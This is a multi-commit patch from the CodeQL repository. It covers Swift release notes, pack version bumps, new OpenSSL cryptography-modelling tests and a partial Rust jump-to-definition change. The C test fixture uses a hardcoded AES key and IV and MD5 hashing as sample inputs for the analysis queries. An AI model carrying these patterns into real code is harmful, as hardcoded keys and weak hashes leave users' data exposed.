b/swift/ql/lib/change-notes/2025-05-27-swift.6.1.1.md deleted file mode 100644 index 19101e5b615b..000000000000 --- a/swift/ql/lib/change-notes/2025-05-27-swift.6.1.1.md +++ /dev/null @@ -1,5 +0,0 @@ - ---- -category: minorAnalysis ---- -* Updated to allow analysis of Swift 6.1.1. diff --git a/swift/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md b/swift/ql/lib/change-notes/released/5.0.0.md similarity index 74% rename from swift/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md rename to swift/ql/lib/change-notes/released/5.0.0.md index 072e6bba5cda..7215a40e3960 100644 --- a/swift/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md +++ b/swift/ql/lib/change-notes/released/5.0.0.md @@ -1,6 +1,7 @@ ---- -category: breaking ---- +## 5.0.0 + +### Breaking Changes + * Deleted the deprecated `parseContent` predicate from the `ExternalFlow.qll`. * Deleted the deprecated `hasLocationInfo` predicate from the `DataFlowPublic.qll`. * Deleted the deprecated `SummaryComponent` class from the `FlowSummary.qll`. @@ -8,3 +9,8 @@ category: breaking * Deleted the deprecated `SummaryComponent` module from the `FlowSummary.qll`. * Deleted the deprecated `SummaryComponentStack` module from the `FlowSummary.qll`. * Deleted the deprecated `RequiredSummaryComponentStack` class from the `FlowSummary.qll`. + +### Minor Analysis Improvements + +* Updated to allow analysis of Swift 6.1.1. +* `TypeValueExpr` experimental AST leaf is now implemented in the control flow library diff --git a/swift/ql/lib/codeql-pack.release.yml b/swift/ql/lib/codeql-pack.release.yml index c46c103a0bd7..c9e54136ca5c 100644 --- a/swift/ql/lib/codeql-pack.release.yml +++ b/swift/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.3.0 +lastReleaseVersion: 5.0.0 diff --git a/swift/ql/lib/qlpack.yml b/swift/ql/lib/qlpack.yml index ebc4b83f267e..183fbd254582 100644 --- a/swift/ql/lib/qlpack.yml +++ b/swift/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-all -version: 4.3.1-dev +version: 5.0.0 groups: swift extractor: swift dbscheme: swift.dbscheme diff --git a/swift/ql/src/CHANGELOG.md b/swift/ql/src/CHANGELOG.md index 7910cf095ce7..7faf32ba8417 100644 --- a/swift/ql/src/CHANGELOG.md +++ b/swift/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.1.4 + +### Minor Analysis Improvements + +* The queries `swift/hardcoded-key` and `swift/constant-password` have been removed from all query suites. + ## 1.1.3 No user-facing changes. diff --git a/swift/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/swift/ql/src/change-notes/released/1.1.4.md similarity index 71% rename from swift/ql/src/change-notes/2025-05-16-hardcoded-credentials.md rename to swift/ql/src/change-notes/released/1.1.4.md index cc524d8c34da..2a8b2c9cda66 100644 --- a/swift/ql/src/change-notes/2025-05-16-hardcoded-credentials.md +++ b/swift/ql/src/change-notes/released/1.1.4.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 1.1.4 + +### Minor Analysis Improvements + * The queries `swift/hardcoded-key` and `swift/constant-password` have been removed from all query suites. diff --git a/swift/ql/src/codeql-pack.release.yml b/swift/ql/src/codeql-pack.release.yml index 35e710ab1bf0..26cbcd3f123b 100644 --- a/swift/ql/src/codeql-pack.release.yml +++ b/swift/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.1.3 +lastReleaseVersion: 1.1.4 diff --git a/swift/ql/src/qlpack.yml b/swift/ql/src/qlpack.yml index 7f727988f7c3..2768bcab8fde 100644 --- a/swift/ql/src/qlpack.yml +++ b/swift/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-queries -version: 1.1.4-dev +version: 1.1.4 groups: - swift - queries From d2c6875eac743d9dd93f336d1e9d3869663c61b4 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 27 May 2025 18:16:21 +0000 Subject: [PATCH 417/535] Post-release preparation for codeql-cli-2.21.4 --- actions/ql/lib/qlpack.yml | 2 +- actions/ql/src/qlpack.yml | 2 +- cpp/ql/lib/qlpack.yml | 2 +- cpp/ql/src/qlpack.yml | 2 +- csharp/ql/campaigns/Solorigate/lib/qlpack.yml | 2 +- csharp/ql/campaigns/Solorigate/src/qlpack.yml | 2 +- csharp/ql/lib/qlpack.yml | 2 +- csharp/ql/src/qlpack.yml | 2 +- go/ql/consistency-queries/qlpack.yml | 2 +- go/ql/lib/qlpack.yml | 2 +- go/ql/src/qlpack.yml | 2 +- java/ql/lib/qlpack.yml | 2 +- java/ql/src/qlpack.yml | 2 +- javascript/ql/lib/qlpack.yml | 2 +- javascript/ql/src/qlpack.yml | 2 +- misc/suite-helpers/qlpack.yml | 2 +- python/ql/lib/qlpack.yml | 2 +- python/ql/src/qlpack.yml | 2 +- ruby/ql/lib/qlpack.yml | 2 +- ruby/ql/src/qlpack.yml | 2 +- rust/ql/lib/qlpack.yml | 2 +- rust/ql/src/qlpack.yml | 2 +- shared/controlflow/qlpack.yml | 2 +- shared/dataflow/qlpack.yml | 2 +- shared/mad/qlpack.yml | 2 +- shared/quantum/qlpack.yml | 2 +- shared/rangeanalysis/qlpack.yml | 2 +- shared/regex/qlpack.yml | 2 +- shared/ssa/qlpack.yml | 2 +- shared/threat-models/qlpack.yml | 2 +- shared/tutorial/qlpack.yml | 2 +- shared/typeflow/qlpack.yml | 2 +- shared/typeinference/qlpack.yml | 2 +- shared/typetracking/qlpack.yml | 2 +- shared/typos/qlpack.yml | 2 +- shared/util/qlpack.yml | 2 +- shared/xml/qlpack.yml | 2 +- shared/yaml/qlpack.yml | 2 +- swift/ql/lib/qlpack.yml | 2 +- swift/ql/src/qlpack.yml | 2 +- 40 files changed, 40 insertions(+), 40 deletions(-) diff --git a/actions/ql/lib/qlpack.yml b/actions/ql/lib/qlpack.yml index c500ec3617b9..7a7de08379b1 100644 --- a/actions/ql/lib/qlpack.yml +++ b/actions/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-all -version: 0.4.10 +version: 0.4.11-dev library: true warnOnImplicitThis: true dependencies: diff --git a/actions/ql/src/qlpack.yml b/actions/ql/src/qlpack.yml index 5c2a1dfbb1f5..3d1ae2cb47fb 100644 --- a/actions/ql/src/qlpack.yml +++ b/actions/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-queries -version: 0.6.2 +version: 0.6.3-dev library: false warnOnImplicitThis: true groups: [actions, queries] diff --git a/cpp/ql/lib/qlpack.yml b/cpp/ql/lib/qlpack.yml index f5c883018959..70d56bab29d1 100644 --- a/cpp/ql/lib/qlpack.yml +++ b/cpp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-all -version: 5.0.0 +version: 5.0.1-dev groups: cpp dbscheme: semmlecode.cpp.dbscheme extractor: cpp diff --git a/cpp/ql/src/qlpack.yml b/cpp/ql/src/qlpack.yml index aa04ab588e40..bdef1897e302 100644 --- a/cpp/ql/src/qlpack.yml +++ b/cpp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-queries -version: 1.4.1 +version: 1.4.2-dev groups: - cpp - queries diff --git a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml index e4e790c02b49..cd4f81e57d69 100644 --- a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-all -version: 1.7.41 +version: 1.7.42-dev groups: - csharp - solorigate diff --git a/csharp/ql/campaigns/Solorigate/src/qlpack.yml b/csharp/ql/campaigns/Solorigate/src/qlpack.yml index 68c2a91ba496..75b5716c2326 100644 --- a/csharp/ql/campaigns/Solorigate/src/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-queries -version: 1.7.41 +version: 1.7.42-dev groups: - csharp - solorigate diff --git a/csharp/ql/lib/qlpack.yml b/csharp/ql/lib/qlpack.yml index 6f5c0b15f3a9..8404a7c29a67 100644 --- a/csharp/ql/lib/qlpack.yml +++ b/csharp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-all -version: 5.1.7 +version: 5.1.8-dev groups: csharp dbscheme: semmlecode.csharp.dbscheme extractor: csharp diff --git a/csharp/ql/src/qlpack.yml b/csharp/ql/src/qlpack.yml index 59800dabbdb8..df26e2790d38 100644 --- a/csharp/ql/src/qlpack.yml +++ b/csharp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-queries -version: 1.2.1 +version: 1.2.2-dev groups: - csharp - queries diff --git a/go/ql/consistency-queries/qlpack.yml b/go/ql/consistency-queries/qlpack.yml index ce75cf33047b..ba1482c81255 100644 --- a/go/ql/consistency-queries/qlpack.yml +++ b/go/ql/consistency-queries/qlpack.yml @@ -1,5 +1,5 @@ name: codeql-go-consistency-queries -version: 1.0.24 +version: 1.0.25-dev groups: - go - queries diff --git a/go/ql/lib/qlpack.yml b/go/ql/lib/qlpack.yml index 49a4a809f13e..09e8ba0d0271 100644 --- a/go/ql/lib/qlpack.yml +++ b/go/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-all -version: 4.2.6 +version: 4.2.7-dev groups: go dbscheme: go.dbscheme extractor: go diff --git a/go/ql/src/qlpack.yml b/go/ql/src/qlpack.yml index 20e37c247ef4..adaa22f4cbd5 100644 --- a/go/ql/src/qlpack.yml +++ b/go/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-queries -version: 1.2.1 +version: 1.2.2-dev groups: - go - queries diff --git a/java/ql/lib/qlpack.yml b/java/ql/lib/qlpack.yml index 44271dee46b4..c5780e1015e1 100644 --- a/java/ql/lib/qlpack.yml +++ b/java/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-all -version: 7.3.0 +version: 7.3.1-dev groups: java dbscheme: config/semmlecode.dbscheme extractor: java diff --git a/java/ql/src/qlpack.yml b/java/ql/src/qlpack.yml index 2938ce64cb3a..bd64dd0d176c 100644 --- a/java/ql/src/qlpack.yml +++ b/java/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-queries -version: 1.5.1 +version: 1.5.2-dev groups: - java - queries diff --git a/javascript/ql/lib/qlpack.yml b/javascript/ql/lib/qlpack.yml index d28403132c44..dfead0f953df 100644 --- a/javascript/ql/lib/qlpack.yml +++ b/javascript/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-all -version: 2.6.4 +version: 2.6.5-dev groups: javascript dbscheme: semmlecode.javascript.dbscheme extractor: javascript diff --git a/javascript/ql/src/qlpack.yml b/javascript/ql/src/qlpack.yml index 986f2be84e64..2fb51f3e092e 100644 --- a/javascript/ql/src/qlpack.yml +++ b/javascript/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-queries -version: 1.6.1 +version: 1.6.2-dev groups: - javascript - queries diff --git a/misc/suite-helpers/qlpack.yml b/misc/suite-helpers/qlpack.yml index e19aa4923af7..d38442ce1fd6 100644 --- a/misc/suite-helpers/qlpack.yml +++ b/misc/suite-helpers/qlpack.yml @@ -1,4 +1,4 @@ name: codeql/suite-helpers -version: 1.0.24 +version: 1.0.25-dev groups: shared warnOnImplicitThis: true diff --git a/python/ql/lib/qlpack.yml b/python/ql/lib/qlpack.yml index e328f386c566..ce0240ccb884 100644 --- a/python/ql/lib/qlpack.yml +++ b/python/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-all -version: 4.0.8 +version: 4.0.9-dev groups: python dbscheme: semmlecode.python.dbscheme extractor: python diff --git a/python/ql/src/qlpack.yml b/python/ql/src/qlpack.yml index d29907ecbe8d..98db7d0387e3 100644 --- a/python/ql/src/qlpack.yml +++ b/python/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-queries -version: 1.5.1 +version: 1.5.2-dev groups: - python - queries diff --git a/ruby/ql/lib/qlpack.yml b/ruby/ql/lib/qlpack.yml index a13854cf27a8..430cc1e2fc3d 100644 --- a/ruby/ql/lib/qlpack.yml +++ b/ruby/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-all -version: 4.1.7 +version: 4.1.8-dev groups: ruby extractor: ruby dbscheme: ruby.dbscheme diff --git a/ruby/ql/src/qlpack.yml b/ruby/ql/src/qlpack.yml index 7247e94124a9..f6b5e50f8fce 100644 --- a/ruby/ql/src/qlpack.yml +++ b/ruby/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-queries -version: 1.3.1 +version: 1.3.2-dev groups: - ruby - queries diff --git a/rust/ql/lib/qlpack.yml b/rust/ql/lib/qlpack.yml index 17dea2358509..ff0621bad838 100644 --- a/rust/ql/lib/qlpack.yml +++ b/rust/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-all -version: 0.1.9 +version: 0.1.10-dev groups: rust extractor: rust dbscheme: rust.dbscheme diff --git a/rust/ql/src/qlpack.yml b/rust/ql/src/qlpack.yml index ddd0cee92d52..fcda5b64ede2 100644 --- a/rust/ql/src/qlpack.yml +++ b/rust/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-queries -version: 0.1.9 +version: 0.1.10-dev groups: - rust - queries diff --git a/shared/controlflow/qlpack.yml b/shared/controlflow/qlpack.yml index ea02e74b8d4f..0ef979239001 100644 --- a/shared/controlflow/qlpack.yml +++ b/shared/controlflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/controlflow -version: 2.0.8 +version: 2.0.9-dev groups: shared library: true dependencies: diff --git a/shared/dataflow/qlpack.yml b/shared/dataflow/qlpack.yml index 9fa1e52fdb37..6b6f61cd2393 100644 --- a/shared/dataflow/qlpack.yml +++ b/shared/dataflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/dataflow -version: 2.0.8 +version: 2.0.9-dev groups: shared library: true dependencies: diff --git a/shared/mad/qlpack.yml b/shared/mad/qlpack.yml index c06bf28103e9..2b40a4719fcd 100644 --- a/shared/mad/qlpack.yml +++ b/shared/mad/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/mad -version: 1.0.24 +version: 1.0.25-dev groups: shared library: true dependencies: diff --git a/shared/quantum/qlpack.yml b/shared/quantum/qlpack.yml index e8f696ad279e..4f0b77598691 100644 --- a/shared/quantum/qlpack.yml +++ b/shared/quantum/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/quantum -version: 0.0.2 +version: 0.0.3-dev groups: shared library: true dependencies: diff --git a/shared/rangeanalysis/qlpack.yml b/shared/rangeanalysis/qlpack.yml index b9165e57d301..10f6a89e9562 100644 --- a/shared/rangeanalysis/qlpack.yml +++ b/shared/rangeanalysis/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rangeanalysis -version: 1.0.24 +version: 1.0.25-dev groups: shared library: true dependencies: diff --git a/shared/regex/qlpack.yml b/shared/regex/qlpack.yml index 84c4b249f579..66614e15d12b 100644 --- a/shared/regex/qlpack.yml +++ b/shared/regex/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/regex -version: 1.0.24 +version: 1.0.25-dev groups: shared library: true dependencies: diff --git a/shared/ssa/qlpack.yml b/shared/ssa/qlpack.yml index 03bab1e16506..6b5972aabb07 100644 --- a/shared/ssa/qlpack.yml +++ b/shared/ssa/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ssa -version: 2.0.0 +version: 2.0.1-dev groups: shared library: true dependencies: diff --git a/shared/threat-models/qlpack.yml b/shared/threat-models/qlpack.yml index 328719e2a0d9..a1a2ee0a7f28 100644 --- a/shared/threat-models/qlpack.yml +++ b/shared/threat-models/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/threat-models -version: 1.0.24 +version: 1.0.25-dev library: true groups: shared dataExtensions: diff --git a/shared/tutorial/qlpack.yml b/shared/tutorial/qlpack.yml index b9b63085e1f7..d003a55f26ec 100644 --- a/shared/tutorial/qlpack.yml +++ b/shared/tutorial/qlpack.yml @@ -1,7 +1,7 @@ name: codeql/tutorial description: Library for the CodeQL detective tutorials, helping new users learn to write CodeQL queries. -version: 1.0.24 +version: 1.0.25-dev groups: shared library: true warnOnImplicitThis: true diff --git a/shared/typeflow/qlpack.yml b/shared/typeflow/qlpack.yml index 5b91c29a4de7..a9162922bde2 100644 --- a/shared/typeflow/qlpack.yml +++ b/shared/typeflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeflow -version: 1.0.24 +version: 1.0.25-dev groups: shared library: true dependencies: diff --git a/shared/typeinference/qlpack.yml b/shared/typeinference/qlpack.yml index 93bbac0b367c..459a6a4a172f 100644 --- a/shared/typeinference/qlpack.yml +++ b/shared/typeinference/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeinference -version: 0.0.5 +version: 0.0.6-dev groups: shared library: true dependencies: diff --git a/shared/typetracking/qlpack.yml b/shared/typetracking/qlpack.yml index 82a30f6cec3c..91b9a990ba86 100644 --- a/shared/typetracking/qlpack.yml +++ b/shared/typetracking/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typetracking -version: 2.0.8 +version: 2.0.9-dev groups: shared library: true dependencies: diff --git a/shared/typos/qlpack.yml b/shared/typos/qlpack.yml index 37b286426850..bedd7763f80e 100644 --- a/shared/typos/qlpack.yml +++ b/shared/typos/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typos -version: 1.0.24 +version: 1.0.25-dev groups: shared library: true warnOnImplicitThis: true diff --git a/shared/util/qlpack.yml b/shared/util/qlpack.yml index 7da687aff4ef..ba1cdd04daf2 100644 --- a/shared/util/qlpack.yml +++ b/shared/util/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/util -version: 2.0.11 +version: 2.0.12-dev groups: shared library: true dependencies: null diff --git a/shared/xml/qlpack.yml b/shared/xml/qlpack.yml index 790a260ddad7..023376cee30b 100644 --- a/shared/xml/qlpack.yml +++ b/shared/xml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/xml -version: 1.0.24 +version: 1.0.25-dev groups: shared library: true dependencies: diff --git a/shared/yaml/qlpack.yml b/shared/yaml/qlpack.yml index 56e0c9d83e03..4b28cce1b1cc 100644 --- a/shared/yaml/qlpack.yml +++ b/shared/yaml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/yaml -version: 1.0.24 +version: 1.0.25-dev groups: shared library: true warnOnImplicitThis: true diff --git a/swift/ql/lib/qlpack.yml b/swift/ql/lib/qlpack.yml index 183fbd254582..efb8506e6caa 100644 --- a/swift/ql/lib/qlpack.yml +++ b/swift/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-all -version: 5.0.0 +version: 5.0.1-dev groups: swift extractor: swift dbscheme: swift.dbscheme diff --git a/swift/ql/src/qlpack.yml b/swift/ql/src/qlpack.yml index 2768bcab8fde..71a570bb9d8e 100644 --- a/swift/ql/src/qlpack.yml +++ b/swift/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-queries -version: 1.1.4 +version: 1.1.5-dev groups: - swift - queries From 41f008d4f3bded60f7fa5d74747c78e7dcbae37b Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Thu, 22 May 2025 14:35:14 -0400 Subject: [PATCH 418/535] Crypto: Adding initial openssl tests, fixing a bug in hash modeling found through tests, and updating CODEOWNERS for quantum tests --- CODEOWNERS | 2 +- .../experimental/quantum/OpenSSL/CtxFlow.qll | 14 +- .../OpenSSL/Operations/EVPCipherOperation.qll | 4 +- .../OpenSSL/Operations/EVPHashOperation.qll | 15 +- .../openssl/cipher_key_sources.expected | 2 + .../quantum/openssl/cipher_key_sources.ql | 6 + .../openssl/cipher_nonce_sources.expected | 2 + .../quantum/openssl/cipher_nonce_sources.ql | 6 + .../openssl/cipher_operations.expected | 8 + .../quantum/openssl/cipher_operations.ql | 6 + .../openssl/cipher_plaintext_sources.expected | 1 + .../openssl/cipher_plaintext_sources.ql | 6 + .../openssl/hash_input_sources.expected | 2 + .../quantum/openssl/hash_input_sources.ql | 6 + .../quantum/openssl/hash_operations.expected | 2 + .../quantum/openssl/hash_operations.ql | 5 + .../openssl/includes/alg_macro_stubs.h | 3741 +++++++++++++ .../quantum/openssl/includes/evp_stubs.h | 4986 +++++++++++++++++ .../quantum/openssl/includes/rand_stubs.h | 3 + .../quantum/openssl/openssl_basic.c | 221 + 20 files changed, 9028 insertions(+), 10 deletions(-) create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_key_sources.expected create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_key_sources.ql create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_nonce_sources.expected create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_nonce_sources.ql create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_operations.expected create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_operations.ql create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_plaintext_sources.expected create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_plaintext_sources.ql create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/hash_input_sources.expected create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/hash_input_sources.ql create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/hash_operations.expected create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/hash_operations.ql create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/includes/alg_macro_stubs.h create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/includes/evp_stubs.h create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/includes/rand_stubs.h create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/openssl_basic.c diff --git a/CODEOWNERS b/CODEOWNERS index 96aa46df9495..7233623d4528 100644 --- a/CODEOWNERS +++ b/CODEOWNERS @@ -16,7 +16,7 @@ /java/ql/test-kotlin2/ @github/codeql-kotlin # Experimental CodeQL cryptography -**/experimental/quantum/ @github/ps-codeql +**/experimental/**/quantum/ @github/ps-codeql /shared/quantum/ @github/ps-codeql # CodeQL tools and associated docs diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/CtxFlow.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/CtxFlow.qll index cbce19fb5dfe..38b49b8d9010 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/CtxFlow.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/CtxFlow.qll @@ -29,7 +29,19 @@ import semmle.code.cpp.dataflow.new.DataFlow * - EVP_PKEY_CTX */ private class CtxType extends Type { - CtxType() { this.getUnspecifiedType().stripType().getName().matches("evp_%ctx_%st") } + CtxType() { + // It is possible for users to use the underlying type of the CTX variables + // these have a name matching 'evp_%ctx_%st + this.getUnspecifiedType().stripType().getName().matches("evp_%ctx_%st") + or + // In principal the above check should be sufficient, but in case of build mode none issues + // i.e., if a typedef cannot be resolved, + // or issues with properly stubbing test cases, we also explicitly check for the wrapping type defs + // i.e., patterns matching 'EVP_%_CTX' + exists(Type base | base = this or base = this.(DerivedType).getBaseType() | + base.getName().matches("EVP_%_CTX") + ) + } } /** diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll index bb884f6db530..233bfd504338 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll @@ -10,7 +10,7 @@ private module AlgGetterToAlgConsumerConfig implements DataFlow::ConfigSig { } predicate isSink(DataFlow::Node sink) { - exists(EVP_Cipher_Operation c | c.getInitCall().getAlgorithmArg() = sink.asExpr()) + exists(EVP_Cipher_Operation c | c.getAlgorithmArg() = sink.asExpr()) } } @@ -32,6 +32,8 @@ private module AlgGetterToAlgConsumerFlow = DataFlow::Global 0) { + // Success + plaintext_len += len; + return plaintext_len; + } else { + // Verification failed + return -1; + } +} + +// Function to calculate SHA-256 hash +int calculate_sha256(const unsigned char *message, size_t message_len, + unsigned char *digest) { + EVP_MD_CTX *mdctx; + unsigned int digest_len; + + // Create and initialize the context + if(!(mdctx = EVP_MD_CTX_new())) + return 0; + + // Initialize the hash operation + if(1 != EVP_DigestInit_ex(mdctx, EVP_sha256(), NULL)) + return 0; + + // Provide the message to be hashed + if(1 != EVP_DigestUpdate(mdctx, message, message_len)) + return 0; + + // Finalize the hash + if(1 != EVP_DigestFinal_ex(mdctx, digest, &digest_len)) + return 0; + + // Clean up + EVP_MD_CTX_free(mdctx); + + return 1; +} + +// Function to generate random bytes +int generate_random_bytes(unsigned char *buffer, size_t length) { + return RAND_bytes(buffer, length); +} + +// Function using direct EVP_Digest function (one-shot hash) +int calculate_md5_oneshot(const unsigned char *message, size_t message_len, + unsigned char *digest) { + unsigned int digest_len; + + // Calculate MD5 in a single call + if(1 != EVP_Digest(message, message_len, digest, &digest_len, EVP_md5(), NULL)) + return 0; + + return 1; +} + +// Function using HMAC +int calculate_hmac_sha256(const unsigned char *key, size_t key_len, + const unsigned char *message, size_t message_len, + unsigned char *mac) { + EVP_MD_CTX *ctx = EVP_MD_CTX_new(); + EVP_PKEY *pkey = EVP_PKEY_new_mac_key(EVP_PKEY_HMAC, NULL, key, key_len); + + if (!ctx || !pkey) + return 0; + + if (EVP_DigestSignInit(ctx, NULL, EVP_sha256(), NULL, pkey) != 1) + return 0; + + if (EVP_DigestSignUpdate(ctx, message, message_len) != 1) + return 0; + + size_t mac_len = 32; // SHA-256 output size + if (EVP_DigestSignFinal(ctx, mac, &mac_len) != 1) + return 0; + + EVP_MD_CTX_free(ctx); + EVP_PKEY_free(pkey); + + return 1; +} + +// Test function +int test_main() { + // Test encryption and decryption + unsigned char *key = (unsigned char *)"01234567890123456789012345678901"; // 32 bytes + unsigned char *iv = (unsigned char *)"0123456789012345"; // 16 bytes + unsigned char *plaintext = (unsigned char *)"This is a test message for encryption"; + unsigned char ciphertext[1024]; + unsigned char tag[16]; + unsigned char decrypted[1024]; + int plaintext_len = strlen((char *)plaintext); + int ciphertext_len; + int decrypted_len; + + // Test SHA-256 hash + unsigned char hash[32]; + + // Test random generation + unsigned char random_bytes[32]; + + // // Initialize OpenSSL + // ERR_load_crypto_strings(); + + // Encrypt data + ciphertext_len = encrypt_aes_gcm(plaintext, plaintext_len, key, iv, 16, ciphertext, tag); + + // Decrypt data + decrypted_len = decrypt_aes_gcm(ciphertext, ciphertext_len, tag, key, iv, 16, decrypted); + + //printf("decrypted: %s\n", decrypted); + + // Calculate hash + calculate_sha256(plaintext, plaintext_len, hash); + + // Generate random bytes + generate_random_bytes(random_bytes, 32); + + // Calculate one-shot MD5 + unsigned char md5_hash[16]; + calculate_md5_oneshot(plaintext, plaintext_len, md5_hash); + + // Calculate HMAC + unsigned char hmac[32]; + calculate_hmac_sha256(key, 32, plaintext, plaintext_len, hmac); + + return 0; +} \ No newline at end of file From d74e95f5fef71a206eca6bc4d50ec534ddfe76bc Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Wed, 28 May 2025 12:14:45 +0200 Subject: [PATCH 419/535] Rust: Extend jump-to-def to include paths and `mod file;` imports --- .../lib/codeql/rust/internal/Definitions.qll | 33 +++++++++++++-- .../codeql/rust/internal/PathResolution.qll | 3 +- .../definitions/Definitions.expected | 40 ++++++++++--------- .../library-tests/definitions/Definitions.ql | 4 +- .../ql/test/library-tests/definitions/main.rs | 5 +++ 5 files changed, 61 insertions(+), 24 deletions(-) diff --git a/rust/ql/lib/codeql/rust/internal/Definitions.qll b/rust/ql/lib/codeql/rust/internal/Definitions.qll index 6b380dae3321..0603146c9af2 100644 --- a/rust/ql/lib/codeql/rust/internal/Definitions.qll +++ b/rust/ql/lib/codeql/rust/internal/Definitions.qll @@ -3,6 +3,7 @@ * in the code viewer. */ +private import rust private import codeql.rust.elements.Variable private import codeql.rust.elements.Locatable private import codeql.rust.elements.FormatArgsExpr @@ -12,9 +13,12 @@ private import codeql.rust.elements.MacroCall private import codeql.rust.elements.NamedFormatArgument private import codeql.rust.elements.PositionalFormatArgument private import codeql.Locations +private import codeql.rust.internal.PathResolution /** An element with an associated definition. */ abstract class Use extends Locatable { + Use() { not this.(AstNode).isFromMacroExpansion() } + /** Gets the definition associated with this element. */ abstract Definition getDefinition(); @@ -30,7 +34,8 @@ private module Cached { newtype TDef = TVariable(Variable v) or TFormatArgsArgName(Name name) { name = any(FormatArgsArg a).getName() } or - TFormatArgsArgIndex(Expr e) { e = any(FormatArgsArg a).getExpr() } + TFormatArgsArgIndex(Expr e) { e = any(FormatArgsArg a).getExpr() } or + TItemNode(ItemNode i) /** * Gets an element, of kind `kind`, that element `use` uses, if any. @@ -51,7 +56,8 @@ class Definition extends Cached::TDef { Location getLocation() { result = this.asVariable().getLocation() or result = this.asName().getLocation() or - result = this.asExpr().getLocation() + result = this.asExpr().getLocation() or + result = this.asItemNode().getLocation() } /** Gets this definition as a `Variable` */ @@ -63,11 +69,15 @@ class Definition extends Cached::TDef { /** Gets this definition as an `Expr` */ Expr asExpr() { this = Cached::TFormatArgsArgIndex(result) } + /** Gets this definition as an `ItemNode` */ + ItemNode asItemNode() { this = Cached::TItemNode(result) } + /** Gets the string representation of this element. */ string toString() { result = this.asExpr().toString() or result = this.asVariable().toString() or - result = this.asName().getText() + result = this.asName().getText() or + result = 